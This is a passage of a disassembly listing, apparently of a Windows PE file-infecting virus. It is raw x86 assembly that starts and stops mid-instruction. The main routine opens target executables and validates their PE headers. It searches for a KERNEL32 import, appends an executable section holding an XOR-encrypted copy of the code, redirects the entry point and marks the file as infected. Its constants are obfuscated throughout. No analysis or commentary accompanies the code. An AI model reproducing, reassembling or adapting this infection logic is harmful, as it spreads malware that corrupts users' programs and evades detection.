dword_5511E8 sub eax, 0Eh push eax push [ebp+arg_8] push [ebp+var_4] call ds:dword_44804C mov edi, eax push [ebp+var_4] call ds:dword_4CEA08 mov eax, dword_5510C0 movsx edx, word_551234 add eax, edx sub eax, 5 cmp edi, eax jz short loc_440300 xor eax, eax jmp short loc_440303 ; --------------------------------------------------------------------------- loc_440300: ; CODE XREF: sub_440281+79j xor eax, eax inc eax loc_440303: ; CODE XREF: sub_440281+35j ; sub_440281+7Dj pop edi leave retn sub_440281 endp ; =============== S U B R O U T I N E ======================================= sub_440306 proc near ; DATA XREF: .data:005512F4o mov eax, 80004001h retn 18h sub_440306 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44030E proc near ; CODE XREF: sub_4472A0:loc_4472A3p var_252 = byte ptr -252h var_236 = dword ptr -236h var_114 = byte ptr -114h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 push ebp mov ebp, esp sub esp, 254h push ebx push esi push edi lea eax, [ebp+var_114] push eax mov eax, dword_5511D0 sub eax, 3 push eax movsx eax, word_551110 dec eax push eax push 21h movsx eax, word_5511A8 add eax, dword_551264 sub eax, 3 push eax call ds:dword_48BA00 mov ebx, eax mov eax, dword_5510FC sub eax, 2 cmp eax, ebx jnz loc_440412 lea eax, [ebp+var_10] push eax call ds:dword_4CC530 movzx eax, [ebp+var_6] movzx edx, [ebp+var_E] mov ecx, dword_5510DC add ecx, 0A8B9h movsx ebx, word_55111C add ecx, ebx imul edx, ecx add eax, edx movzx edx, [ebp+var_A] mov ecx, dword_5510E0 add ecx, 59Fh imul edx, ecx add eax, edx movzx edx, [ebp+var_10] mov ecx, dword_551250 add ecx, 7E8FBh add ecx, dword_551198 imul edx, ecx add eax, edx movzx edx, [ebp+var_8] mov ecx, dword_551244 add ecx, 35h imul edx, ecx add eax, edx mov ds:dword_448030, eax movsx eax, word_55115C movsx edx, word_551240 add eax, edx sub eax, 3 mov [ebp+var_236], eax lea esi, [ebp+var_252] sub esp, 140h mov edi, esp mov ecx, 9Fh rep movsw lea edi, [ebp+var_114] push edi call sub_43FF3A add esp, 144h loc_440412: ; CODE XREF: sub_44030E+4Aj pop edi pop esi pop ebx leave retn sub_44030E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_440417 proc near ; CODE XREF: sub_43B045+5AFp ; sub_43B045+61Cp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov esi, [ebp+arg_4] mov eax, [ebp+arg_8] mov edx, [ebp+arg_C] not edx mov ecx, esi or ecx, edx xor eax, ecx add eax, [ebp+arg_10] add eax, edi mov edi, eax add edi, [ebp+arg_18] push [ebp+arg_14] push edi call sub_4420F4 add esp, 8 mov edi, esi add edi, eax mov eax, edi pop edi pop esi pop ebp retn sub_440417 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_440450 proc near ; CODE XREF: sub_43B045+3CEp ; sub_43B045+43Cp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov esi, [ebp+arg_4] mov eax, [ebp+arg_18] mov edx, esi xor edx, [ebp+arg_8] xor edx, [ebp+arg_C] add eax, edx add eax, [ebp+arg_10] add eax, edi mov edi, eax push [ebp+arg_14] push edi call sub_4420F4 add esp, 8 mov edi, esi add edi, eax mov eax, edi pop edi pop esi pop ebp retn sub_440450 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_440485 proc near ; CODE XREF: sub_43C506+239p var_3200D = byte ptr -3200Dh var_32008 = dword ptr -32008h var_32004 = dword ptr -32004h var_32000 = byte ptr -32000h var_31FFF = byte ptr -31FFFh var_31F38 = dword ptr -31F38h var_31F34 = dword ptr -31F34h var_31F30 = dword ptr -31F30h var_31F2C = dword ptr -31F2Ch var_31F28 = dword ptr -31F28h var_31F24 = dword ptr -31F24h var_31F20 = dword ptr -31F20h var_31F1C = dword ptr -31F1Ch var_31F18 = dword ptr -31F18h var_31F14 = dword ptr -31F14h var_31F10 = dword ptr -31F10h var_31F0C = dword ptr -31F0Ch var_31F08 = dword ptr -31F08h var_31F04 = dword ptr -31F04h var_31F00 = dword ptr -31F00h var_31EFC = dword ptr -31EFCh var_31EF8 = dword ptr -31EF8h var_31EF4 = dword ptr -31EF4h var_31EF0 = dword ptr -31EF0h var_31EEC = dword ptr -31EECh var_31EE8 = dword ptr -31EE8h var_31EE4 = dword ptr -31EE4h var_31EE0 = dword ptr -31EE0h var_31EDC = dword ptr -31EDCh var_31ED8 = byte ptr -31ED8h var_1198 = dword ptr -1198h var_1194 = dword ptr -1194h var_1190 = dword ptr -1190h var_118C = dword ptr -118Ch var_1188 = dword ptr -1188h var_1184 = dword ptr -1184h var_117F = byte ptr -117Fh var_1080 = dword ptr -1080h var_107C = dword ptr -107Ch var_1078 = dword ptr -1078h var_1074 = dword ptr -1074h var_1070 = dword ptr -1070h var_106C = dword ptr -106Ch var_1068 = dword ptr -1068h var_1064 = dword ptr -1064h var_1060 = dword ptr -1060h var_105C = dword ptr -105Ch var_1058 = dword ptr -1058h var_1054 = dword ptr -1054h var_1050 = dword ptr -1050h var_C54 = dword ptr -0C54h var_C50 = dword ptr -0C50h var_C4C = dword ptr -0C4Ch var_850 = dword ptr -850h var_84C = dword ptr -84Ch var_848 = dword ptr -848h var_844 = dword ptr -844h var_840 = dword ptr -840h var_83C = dword ptr -83Ch var_440 = dword ptr -440h var_43C = dword ptr -43Ch var_438 = dword ptr -438h var_434 = dword ptr -434h var_430 = dword ptr -430h var_42C = dword ptr -42Ch var_428 = dword ptr -428h var_424 = dword ptr -424h var_420 = dword ptr -420h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 32008h call sub_44797C push ebx push esi push edi movsx eax, word_551168 add eax, dword_551208 sub eax, 6 mov [ebp+var_31EE4], eax push [ebp+arg_8] push [ebp+arg_4] mov eax, ds:dword_4CE9F0 lea eax, [ebp+eax+var_31ED8] push eax call ds:dword_4CD914 add esp, 0Ch loc_4404C7: ; CODE XREF: sub_440485+C5j movsx eax, word_5511BC movsx edx, word_55123C add eax, edx sub eax, 8 push eax mov eax, dword_551138 add eax, dword_5510BC sub eax, 3 push eax push 3 mov eax, dword_55116C sub eax, 9 push eax mov eax, dword_551124 add eax, dword_551258 sub eax, 0Ah push eax push 0C0000001h push [ebp+arg_0] call ds:dword_54FC18 mov [ebp+var_1070], eax mov ecx, dword_551160 add ecx, 0FFFFFFF2h add ecx, dword_5510B8 cmp ecx, eax jnz short loc_440556 inc [ebp+var_31EE4] mov eax, dword_5510A4 sub eax, 8 cmp eax, [ebp+var_31EE4] jnz short loc_44054F push [ebp+arg_0] call sub_43BCA0 pop ecx jmp loc_4404C7 ; --------------------------------------------------------------------------- loc_44054F: ; CODE XREF: sub_440485+BAj xor eax, eax jmp loc_441A29 ; --------------------------------------------------------------------------- loc_440556: ; CODE XREF: sub_440485+A4j mov eax, dword_5511E8 add eax, dword_5510C8 sub eax, 7 push eax push [ebp+var_1070] call ds:dword_4CEA14 mov [ebp+var_10], eax add eax, 1FFFFh add eax, [ebp+arg_8] push eax push 0 call ds:dword_48B9EC mov [ebp+var_4], eax push dword_5511FC lea eax, [ebp+var_31EE0] push eax push [ebp+var_10] push [ebp+var_4] push [ebp+var_1070] call ds:dword_448034 mov eax, [ebp+var_4] mov eax, [eax+3Ch] mov [ebp+var_840], eax mov eax, [ebp+var_31EE0] sub eax, 0F8h cmp [ebp+var_840], eax ja loc_441A12 mov eax, [ebp+var_840] add eax, [ebp+var_4] mov [ebp+var_8], eax movzx eax, word ptr [eax] cmp eax, 4550h jnz loc_441A12 mov eax, [ebp+var_8] movzx eax, word ptr [eax+5Ch] movsx edx, word_551180 dec edx cmp eax, edx jz loc_441A12 and [ebp+var_1184], 0 mov eax, [ebp+var_8] movzx edx, word ptr [eax+44h] mov ecx, dword_5510DC add ecx, 6 cmp edx, ecx jnz short loc_440655 mov edx, dword_55121C add edx, 8 mov [eax+1Ah], dl cmp dl, 0 jz short loc_440655 movzx eax, word ptr [eax+46h] mov [ebp+var_31EF4], eax mov eax, dword_5511E8 add eax, dword_551248 sub eax, 2 cmp [ebp+var_31EF4], eax jnb loc_441A12 mov [ebp+var_1184], 1 loc_440655: ; CODE XREF: sub_440485+18Fj ; sub_440485+1A0j mov eax, dword_55113C movsx edx, word_551168 add eax, edx sub eax, 0Dh cmp [ebp+var_1184], eax jz short loc_4406C1 mov eax, dword_5511A0 add eax, dword_5511F0 sub eax, 3 cmp [ebp+var_31EF4], eax jnb short loc_4406A3 mov eax, [ebp+var_8] add eax, 6 movzx edx, word ptr [eax] mov ecx, dword_5511E0 add ecx, dword_551190 sub ecx, 0Bh sub edx, ecx mov [eax], dx jmp short loc_4406C1 ; --------------------------------------------------------------------------- loc_4406A3: ; CODE XREF: sub_440485+1FDj mov eax, [ebp+var_8] add eax, 6 movzx edx, word ptr [eax] mov ecx, dword_551158 inc ecx movsx edi, word_551170 add ecx, edi sub edx, ecx mov [eax], dx loc_4406C1: ; CODE XREF: sub_440485+1E7j ; sub_440485+21Cj mov eax, [ebp+var_8] mov ecx, [eax+80h] mov [ebp+var_430], ecx mov eax, [eax+0D4h] add eax, 0F8h add eax, [ebp+var_840] mov [ebp+var_1074], eax mov eax, 28h movsx ecx, word_55111C add ecx, 3 mul ecx mov [ebp+var_31EF8], eax add [ebp+var_1074], eax mov eax, 28h mov ecx, [ebp+var_8] movzx ecx, word ptr [ecx+6] mul ecx mov [ebp+var_31EFC], eax add [ebp+var_1074], eax mov eax, [ebp+var_8] mov eax, [eax+54h] cmp [ebp+var_1074], eax ja loc_441A12 movsx eax, word_5510E4 movsx edx, word_551140 add eax, edx sub eax, 5 mov [ebp+var_1C], eax mov eax, dword_5511F4 add eax, dword_551178 sub eax, 8 mov [ebp+var_C54], eax movsx eax, word_5510E4 mov [ebp+var_105C], eax mov eax, dword_551134 add eax, dword_55126C sub eax, 10h mov [ebp+var_434], eax jmp loc_44083E ; --------------------------------------------------------------------------- loc_440780: ; CODE XREF: sub_440485+3C6j mov eax, 28h mul [ebp+var_434] mov [ebp+var_31F08], eax mov eax, [ebp+var_840] add eax, 0F8h add eax, [ebp+var_4] mov edx, [ebp+var_31F08] mov esi, edx add esi, eax mov eax, [esi+0Ch] add eax, [esi+8] mov [ebp+var_31F00], eax mov eax, [esi+10h] add eax, [esi+14h] mov [ebp+var_31F04], eax mov ecx, [ebp+var_C54] cmp eax, ecx jbe short loc_4407D1 mov [ebp+var_C54], eax loc_4407D1: ; CODE XREF: sub_440485+344j mov eax, [ebp+var_1C] cmp [ebp+var_31F00], eax jbe short loc_4407E5 mov eax, [ebp+var_31F00] mov [ebp+var_1C], eax loc_4407E5: ; CODE XREF: sub_440485+355j mov eax, [ebp+var_8] mov eax, [eax+0A8h] cmp eax, [ebp+var_31F00] jnb short loc_440810 cmp eax, [esi+0Ch] jb short loc_440810 mov eax, [esi+14h] mov edx, [ebp+var_8] add eax, [edx+0A8h] sub eax, [esi+0Ch] mov [ebp+var_105C], eax loc_440810: ; CODE XREF: sub_440485+36Fj ; sub_440485+374j mov eax, [ebp+var_430] mov edx, [esi+0Ch] cmp eax, edx jb short loc_440838 add edx, [esi+8] cmp eax, edx jnb short loc_440838 mov eax, [esi+14h] mov edx, [ebp+var_430] sub edx, [esi+0Ch] add eax, edx mov [ebp+var_844], eax loc_440838: ; CODE XREF: sub_440485+396j ; sub_440485+39Dj inc [ebp+var_434] loc_44083E: ; CODE XREF: sub_440485+2F6j mov eax, [ebp+var_8] movzx eax, word ptr [eax+6] cmp [ebp+var_434], eax jb loc_440780 movsx eax, word_551144 add eax, 0FFFh push eax push [ebp+var_1C] call sub_43E8CA add esp, 8 mov [ebp+var_1C], eax mov eax, dword_5510C4 add eax, dword_5511D0 sub eax, 0Ch cmp [ebp+var_1184], eax jz short loc_44088B mov eax, [ebp+var_C54] mov [ebp+var_10], eax loc_44088B: ; CODE XREF: sub_440485+3FBj mov eax, [ebp+var_8] movsx edx, word_55112C movsx ecx, word_55120C add edx, ecx sub edx, 5 cmp [eax+0A8h], edx jnz short loc_4408B8 mov eax, [ebp+var_C54] cmp [ebp+var_10], eax jnz loc_441A12 loc_4408B8: ; CODE XREF: sub_440485+422j movsx eax, word_5511CC add eax, dword_551090 sub eax, 7 cmp [ebp+var_105C], eax jz loc_440999 mov eax, dword_551108 sub eax, 2 mov [ebp+var_31F08], eax mov eax, dword_55116C sub eax, 9 mov [ebp+var_31F00], eax jmp short loc_440940 ; --------------------------------------------------------------------------- loc_4408F2: ; CODE XREF: sub_440485+4E1j mov eax, [ebp+var_105C] mov [ebp+var_31F0C], eax mov eax, 1Ch mul [ebp+var_31F00] mov [ebp+var_31F10], eax mov eax, [ebp+var_31F0C] mov edx, [ebp+var_31F10] add eax, edx add eax, [ebp+var_4] mov [ebp+var_31F04], eax mov edx, [ebp+var_31F08] cmp [eax+18h], edx jbe short loc_44093A mov eax, [eax+18h] mov [ebp+var_31F08], eax loc_44093A: ; CODE XREF: sub_440485+4AAj inc [ebp+var_31F00] loc_440940: ; CODE XREF: sub_440485+46Bj mov edi, [ebp+var_8] mov eax, [edi+0ACh] mov ecx, 1Ch shr eax, 2 mov edx, 24924925h mul edx mov [ebp+var_31F0C], edx mov edi, edx cmp [ebp+var_31F00], edi jb short loc_4408F2 mov eax, [ebp+var_8] push dword ptr [eax+3Ch] push [ebp+var_31F08] call sub_43E8CA add esp, 8 mov [ebp+var_31F08], eax mov eax, [ebp+var_C54] cmp eax, [ebp+var_31F08] jz short loc_440999 cmp eax, [ebp+var_10] jnz loc_441A12 loc_440999: ; CODE XREF: sub_440485+449j ; sub_440485+509j and [ebp+var_1078], 0 mov eax, dword_551190 sub eax, 6 mov [ebp+var_438], eax jmp loc_440AF7 ; --------------------------------------------------------------------------- loc_4409B3: ; CODE XREF: sub_440485+681j mov eax, [ebp+var_438] add eax, [ebp+var_844] add eax, [ebp+var_4] mov [ebp+var_32004], eax mov eax, dword_55124C add eax, dword_5511DC sub eax, 0Eh mov edx, [ebp+var_32004] cmp eax, [edx] jz loc_440B0C mov eax, [ebp+var_844] mov edx, [ebp+var_32004] mov edx, [edx+0Ch] sub edx, [ebp+var_430] add eax, edx mov [ebp+var_32008], eax add eax, [ebp+var_4] push eax lea eax, [ebp+var_31FFF] push eax call ds:dword_44B1A4 add esp, 8 mov eax, dword_551270 sub eax, 5 mov [ebp+var_31F00], eax jmp short loc_440A50 ; --------------------------------------------------------------------------- loc_440A25: ; CODE XREF: sub_440485+5E4j mov eax, [ebp+var_31F00] mov al, [ebp+eax+var_31FFF] cmp al, 7Ah jge short loc_440A4A cmp al, 61h jle short loc_440A4A mov eax, [ebp+var_31F00] lea eax, [ebp+eax+var_31FFF] sub byte ptr [eax], 20h loc_440A4A: ; CODE XREF: sub_440485+5AFj ; sub_440485+5B3j inc [ebp+var_31F00] loc_440A50: ; CODE XREF: sub_440485+59Ej mov eax, [ebp+var_31F00] movsx eax, [ebp+eax+var_31FFF] mov edx, dword_5510A4 sub edx, 9 cmp eax, edx jnz short loc_440A25 movsx eax, word_5510AC add eax, dword_551098 cmp byte ptr [ebp+eax+var_32004+2], 33h jnz short loc_440AF0 mov eax, dword_551244 cmp byte ptr [ebp+eax+var_32004], 52h jnz short loc_440AF0 movsx eax, word_551268 cmp byte ptr [ebp+eax+var_32004+3], 45h jnz short loc_440AF0 mov eax, dword_551270 add eax, dword_5511DC cmp [ebp+eax+var_3200D], 4Bh jnz short loc_440AF0 movsx eax, word_5510F0 add eax, dword_551108 cmp [ebp+eax+var_31FFF], 4Ch jnz short loc_440AF0 mov eax, dword_5510B4 movsx edx, word_551234 add eax, edx cmp [ebp+eax+var_32000], 32h jnz short loc_440AF0 mov [ebp+var_1078], 1 loc_440AF0: ; CODE XREF: sub_440485+5FBj ; sub_440485+60Aj ... add [ebp+var_438], 14h loc_440AF7: ; CODE XREF: sub_440485+529j mov eax, [ebp+var_8] mov eax, [eax+84h] cmp [ebp+var_438], eax jb loc_4409B3 loc_440B0C: ; CODE XREF: sub_440485+559j mov eax, dword_551124 sub eax, 9 cmp [ebp+var_1078], eax jz loc_441A12 mov eax, [ebp+var_8] or word ptr [eax+16h], 1 mov eax, ds:dword_4CE9F0 lea eax, [ebp+eax+var_31ED8] mov [ebp+var_42C], eax mov eax, [eax+3Ch] mov [ebp+var_848], eax add eax, [ebp+var_42C] mov [ebp+var_84C], eax cmp [ebp+var_1184], 0 jnz loc_440C61 mov eax, [ebp+var_8] movsx edx, word_5511BC add edx, dword_551090 sub edx, 6 cmp [eax+0D4h], edx jz loc_440C61 mov edx, dword_5511D4 add edx, dword_551114 sub edx, 0Bh cmp [eax+0D0h], edx jz loc_440C61 mov edx, [ebp+var_1074] cmp [eax+54h], edx jbe loc_440C61 mov eax, [ebp+var_840] mov [ebp+var_31F08], eax mov eax, 28h mov ecx, [ebp+var_8] movzx ecx, word ptr [ecx+6] mul ecx mov [ebp+var_31F0C], eax mov eax, [ebp+var_31F08] mov edx, [ebp+var_31F0C] lea eax, [eax+edx+0F8h] mov [ebp+var_31F00], eax mov eax, 28h mov ecx, dword_551218 add ecx, 2 mul ecx mov [ebp+var_31F10], eax add eax, [ebp+var_31F00] mov [ebp+var_31F04], eax mov eax, [ebp+var_8] push dword ptr [eax+0D4h] mov eax, [ebp+var_4] mov edx, [ebp+var_31F00] add edx, eax push edx mov edx, [ebp+var_31F04] add edx, eax push edx call ds:dword_4CD914 add esp, 0Ch mov eax, [ebp+var_8] add eax, 0D0h mov [ebp+var_31F14], eax mov eax, 28h mov ecx, dword_551184 add ecx, dword_551258 sub ecx, 6 mul ecx mov [ebp+var_31F18], eax mov eax, [ebp+var_31F14] mov edx, eax mov ecx, [ebp+var_31F18] add [edx], ecx loc_440C61: ; CODE XREF: sub_440485+6D1j ; sub_440485+6F0j ... mov eax, [ebp+var_8] push dword ptr [eax+3Ch] push [ebp+var_10] call sub_43E8CA mov [ebp+var_10], eax mov eax, [ebp+var_840] mov [ebp+var_31F00], eax mov eax, 28h mov ecx, [ebp+var_8] movzx ecx, word ptr [ecx+6] mul ecx mov [ebp+var_31F04], eax add eax, [ebp+var_4] mov edx, [ebp+var_31F00] lea esi, [edx+eax+0F8h] push offset byte_552051 call sub_43AC94 push eax push esi call ds:dword_44B1A4 mov eax, dword_55110C add eax, 0E0000015h add eax, dword_5510F4 mov [esi+24h], eax mov eax, [ebp+var_10] mov [ebp+var_850], eax mov eax, dword_551198 add eax, 1FFF6h add eax, dword_551154 mov [esi+8], eax mov eax, dword_551250 add eax, 4 add eax, dword_551190 push eax mov eax, dword_5510B4 add eax, dword_55116C sub eax, 0Dh push eax mov eax, esi add eax, 18h push eax call ds:dword_4CDA34 mov eax, [ebp+var_1C] mov [ebp+var_1060], eax mov eax, [ebp+var_1C] mov [esi+0Ch], eax mov eax, [ebp+var_10] mov [esi+14h], eax mov eax, [ebp+var_8] push dword ptr [eax+3Ch] mov eax, [ebp+arg_8] add eax, ds:dword_4CE9F0 push eax call sub_43E8CA mov [esi+10h], eax call ds:dword_550150 mov edi, dword_55124C movsx edx, word_55120C add edi, edx sub edi, 4 mov ecx, 0FDh cdq idiv ecx add edi, edx mov [ebp+var_1064], edi mov eax, [ebp+var_8] mov edx, [esi+0Ch] add edx, [esi+8] mov [eax+50h], edx mov eax, dword_55114C add eax, 1FFF3h movsx edx, word_5510A0 add eax, edx add [ebp+var_1C], eax mov eax, [ebp+var_8] add eax, 6 inc word ptr [eax] mov eax, [ebp+var_8] push dword ptr [eax+3Ch] mov eax, [ebp+var_10] add eax, [esi+10h] push eax call sub_43E8CA add esp, 30h mov [ebp+var_10], eax mov eax, dword_551134 add eax, 38h mov [ebp+var_43C], eax jmp short loc_440DEA ; --------------------------------------------------------------------------- loc_440DB5: ; CODE XREF: sub_440485+971j call ds:dword_550150 mov edi, [ebp+var_43C] mov edx, [ebp+var_42C] mov [ebp+var_31F0C], edx mov [ebp+var_31F08], eax mov ecx, 0FFh cdq idiv ecx mov ecx, [ebp+var_31F0C] mov [ecx+edi], dl inc [ebp+var_43C] loc_440DEA: ; CODE XREF: sub_440485+92Ej mov eax, [ebp+var_848] cmp [ebp+var_43C], eax jb short loc_440DB5 call ds:dword_550150 mov edi, dword_5511E0 movsx edx, word_551168 add edi, edx sub edi, 0Ch add edi, [ebp+var_848] mov edx, [ebp+var_42C] mov [ebp+var_31F14], edx mov [ebp+var_31F10], eax mov ecx, 0FFh cdq idiv ecx mov ecx, [ebp+var_31F14] mov [ecx+edi], dl mov eax, dword_5510E8 sub eax, 7 mov edx, [ebp+var_42C] mov ecx, [ebp+var_1064] xor ecx, 4Dh mov [edx+eax], cl call ds:dword_550150 mov edi, [ebp+var_848] mov edx, [ebp+var_42C] mov [ebp+var_31F1C], edx mov [ebp+var_31F18], eax mov ecx, 0FFh cdq idiv ecx mov ecx, [ebp+var_31F1C] mov [ecx+edi], dl movsx edi, word_55123C movsx edx, word_5511EC add edi, edx sub edi, 5 mov edx, [ebp+var_42C] mov ecx, [ebp+arg_8] shr ecx, 9 mov [edx+edi], cl mov eax, dword_551128 sub eax, 7 cmp [ebp+var_1184], eax jz short loc_440F14 mov eax, [ebp+var_8] mov edx, [eax+34h] add edx, dword_5510DC add edx, [eax+28h] mov [ebp+var_31F20], edx mov eax, [ebp+var_850] add eax, 8 mov edx, [ebp+var_4] mov eax, [edx+eax] mov [ebp+var_31F24], eax mov eax, dword_5510A4 sub eax, 5 mov edx, [ebp+var_31F24] mov ecx, dword_5511F4 add ecx, 0FFFFFFFAh sub edx, ecx add eax, edx add eax, [ebp+var_31F20] mov [ebp+var_31F28], eax mov eax, [ebp+var_8] mov edx, [ebp+var_31F28] sub edx, [eax+34h] mov [eax+28h], edx loc_440F14: ; CODE XREF: sub_440485+A2Dj push ds:dword_4CE9F0 push offset byte_48C1F0 lea eax, [ebp+var_31ED8] push eax call ds:dword_4CD914 mov eax, [esi+10h] add eax, ds:dword_4CE9F0 push eax lea eax, [ebp+var_31ED8] push eax mov eax, [esi+14h] add eax, [ebp+var_4] push eax call ds:dword_4CD914 add esp, 18h mov eax, [esi+14h] add eax, ds:dword_4CE9F0 mov [ebp+var_1068], eax mov edx, dword_551230 sub edx, 3 add eax, edx mov [ebp+var_424], eax jmp short loc_440F89 ; --------------------------------------------------------------------------- loc_440F6F: ; CODE XREF: sub_440485+B13j mov eax, [ebp+var_424] add eax, [ebp+var_4] movzx edx, byte ptr [eax] xor edx, [ebp+var_1064] mov [eax], dl inc [ebp+var_424] loc_440F89: ; CODE XREF: sub_440485+AE8j mov eax, [ebp+arg_8] add eax, [ebp+var_1068] cmp [ebp+var_424], eax jb short loc_440F6F movsx eax, word_5510D8 add eax, dword_5510F8 sub eax, 0Dh mov [ebp+var_18], eax mov eax, dword_5510B8 sub eax, 8 mov [ebp+var_440], eax jmp loc_4412AE ; --------------------------------------------------------------------------- loc_440FC0: ; CODE XREF: sub_440485+E39j mov eax, 28h mov ecx, [ebp+var_8] movzx ecx, word ptr [ecx+6] mul ecx mov [ebp+var_31F24], eax mov eax, [ebp+var_840] add eax, 0F8h add eax, [ebp+var_4] mov edx, [ebp+var_31F24] mov esi, edx add esi, eax mov eax, [ebp+var_848] mov [ebp+var_31F28], eax mov eax, 28h mul [ebp+var_440] mov [ebp+var_31F2C], eax mov eax, [ebp+var_42C] mov edx, [ebp+var_31F2C] lea eax, [edx+eax+0F8h] mov edx, [ebp+var_31F28] mov ebx, edx add ebx, eax movsx eax, word_551194 movsx edx, word_5510D8 add eax, edx sub eax, 0Fh cmp byte ptr [ebx+eax], 72h jnz short loc_441071 mov eax, dword_551218 add eax, 4 cmp byte ptr [ebx+eax], 63h jnz short loc_441071 movsx eax, word_551240 add eax, dword_5511F8 sub eax, 8 cmp byte ptr [ebx+eax], 2Eh jnz short loc_441071 mov eax, [ebx+14h] mov [ebp+var_1080], eax jmp loc_4412A8 ; --------------------------------------------------------------------------- loc_441071: ; CODE XREF: sub_440485+BB8j ; sub_440485+BC6j ... mov eax, dword_5511F4 cmp byte ptr [ebx+eax], 61h jnz short loc_4410AF mov eax, dword_551108 sub eax, 2 cmp byte ptr [ebx+eax], 2Eh jnz short loc_4410AF mov eax, dword_5511D4 sub eax, 8 cmp byte ptr [ebx+eax], 65h jnz short loc_4410AF mov eax, [ebx+14h] mov [ebp+var_107C], eax mov eax, [ebx+0Ch] mov [ebp+var_1188], eax jmp loc_4412A8 ; --------------------------------------------------------------------------- loc_4410AF: ; CODE XREF: sub_440485+BF5j ; sub_440485+C03j ... movsx eax, word_5511C8 movsx edx, word_551168 add eax, edx sub eax, 0Bh cmp byte ptr [ebx+eax], 2Eh jnz short loc_4410E5 mov eax, dword_551258 cmp byte ptr [ebx+eax], 69h jnz short loc_4410E5 mov eax, dword_551118 sub eax, 4 cmp byte ptr [ebx+eax], 61h jz loc_4412A8 loc_4410E5: ; CODE XREF: sub_440485+C41j ; sub_440485+C4Cj movsx eax, word_551094 sub eax, 3 cmp byte ptr [ebx+eax], 2Eh jnz loc_44117D movsx eax, word_5511AC sub eax, 5 cmp byte ptr [ebx+eax], 62h jnz short loc_44117D movsx eax, word_551180 movsx edx, word_5510AC add eax, edx sub eax, 6 cmp byte ptr [ebx+eax], 73h jnz short loc_44117D add esi, 0FFFFFFD8h movsx eax, word_551274 add eax, 0E000001Fh mov [esi+24h], eax mov eax, dword_551160 add eax, 0FFAh movsx edx, word_551144 add eax, edx push eax push dword ptr [esi+8] call sub_43E8CA mov edi, [ebx+8] add edi, eax mov [esi+8], edi mov eax, dword_5510E0 add eax, 0FFFh push eax mov eax, [ebx+8] add eax, [ebp+var_1C] push eax call sub_43E8CA add esp, 10h mov [ebp+var_1C], eax add esi, 28h jmp loc_4412A8 ; --------------------------------------------------------------------------- loc_44117D: ; CODE XREF: sub_440485+C6Ej ; sub_440485+C82j ... mov eax, [ebx+24h] mov [esi+24h], eax mov eax, [ebx+8] mov [esi+8], eax mov eax, [ebp+var_10] mov [esi+14h], eax mov eax, [ebx+10h] mov [esi+10h], eax movsx eax, word_5511EC mov edx, dword_5511D0 lea eax, [eax+edx+6] push eax mov eax, dword_551244 sub eax, 7 push eax mov eax, esi add eax, 18h push eax call ds:dword_4CDA34 mov eax, [ebp+var_1C] mov [esi+0Ch], eax push ebx push esi call ds:dword_44B1A4 mov edi, [ebp+var_18] mov edx, [esi+0Ch] mov [ebp+edi*4+var_C4C], edx mov edx, [ebx+8] mov [ebp+edi*4+var_83C], edx mov edx, [ebx+0Ch] mov [ebp+edi*4+var_420], edx mov edx, [esi+14h] mov [ebp+edi*4+var_1050], edx inc [ebp+var_18] mov eax, [ebx+10h] add [ebp+var_10], eax mov eax, [ebp+var_10] mov [ebp+var_31F20], eax mov eax, [ebp+var_8] push dword ptr [eax+3Ch] push [ebp+var_10] call sub_43E8CA add esp, 1Ch mov [ebp+var_10], eax mov ecx, [ebp+var_31F20] cmp eax, ecx jbe short loc_441249 movsx edx, word_551268 sub edx, 2 cmp byte ptr [ebx+edx], 64h jnz short loc_441249 sub eax, ecx mov [ebp+var_31F30], eax add [esi+10h], eax mov eax, [ebp+var_31F30] add [esi+8], eax loc_441249: ; CODE XREF: sub_440485+D9Ej ; sub_440485+DAEj mov eax, [ebp+var_8] add eax, 6 inc word ptr [eax] movsx eax, word_5511AC add eax, 0FFAh push eax mov eax, [esi+0Ch] add eax, [ebx+8] push eax call sub_43E8CA mov edi, [ebp+var_8] mov [edi+50h], eax mov eax, dword_5510C0 add eax, 0FFFh push eax mov eax, [ebp+var_1C] add eax, [ebx+8] push eax call sub_43E8CA mov [ebp+var_1C], eax push dword ptr [esi+10h] mov eax, [ebx+14h] add eax, [ebp+var_42C] push eax mov eax, [esi+14h] add eax, [ebp+var_4] push eax call ds:dword_4CD914 add esp, 1Ch loc_4412A8: ; CODE XREF: sub_440485+BE7j ; sub_440485+C25j ... inc [ebp+var_440] loc_4412AE: ; CODE XREF: sub_440485+B36j mov eax, [ebp+var_84C] movzx eax, word ptr [eax+6] cmp [ebp+var_440], eax jb loc_440FC0 mov eax, [ebp+var_1080] add eax, [ebp+var_42C] mov [ebp+var_14], eax loc_4412D3: ; CODE XREF: sub_440485+107Aj mov eax, dword_551148 sub eax, 7 mov [ebp+var_20], eax jmp short loc_44133C ; --------------------------------------------------------------------------- loc_4412E0: ; CODE XREF: sub_440485+EBDj mov edi, [ebp+var_20] mov edx, [ebp+var_14] mov edx, [edx] cmp [ebp+edi*4+var_420], edx jnz short loc_4412FC mov eax, [ebp+var_14] mov eax, [eax] mov [ebp+var_C50], eax loc_4412FC: ; CODE XREF: sub_440485+E6Aj mov edi, [ebp+var_20] shl edi, 2 mov edx, [ebp+edi+var_83C] add edx, [ebp+edi+var_420] mov edi, [ebp+var_14] cmp edx, [edi] jbe short loc_441339 mov edi, [ebp+var_20] mov edi, [ebp+edi*4+var_1050] mov [ebp+var_106C], edi mov edi, 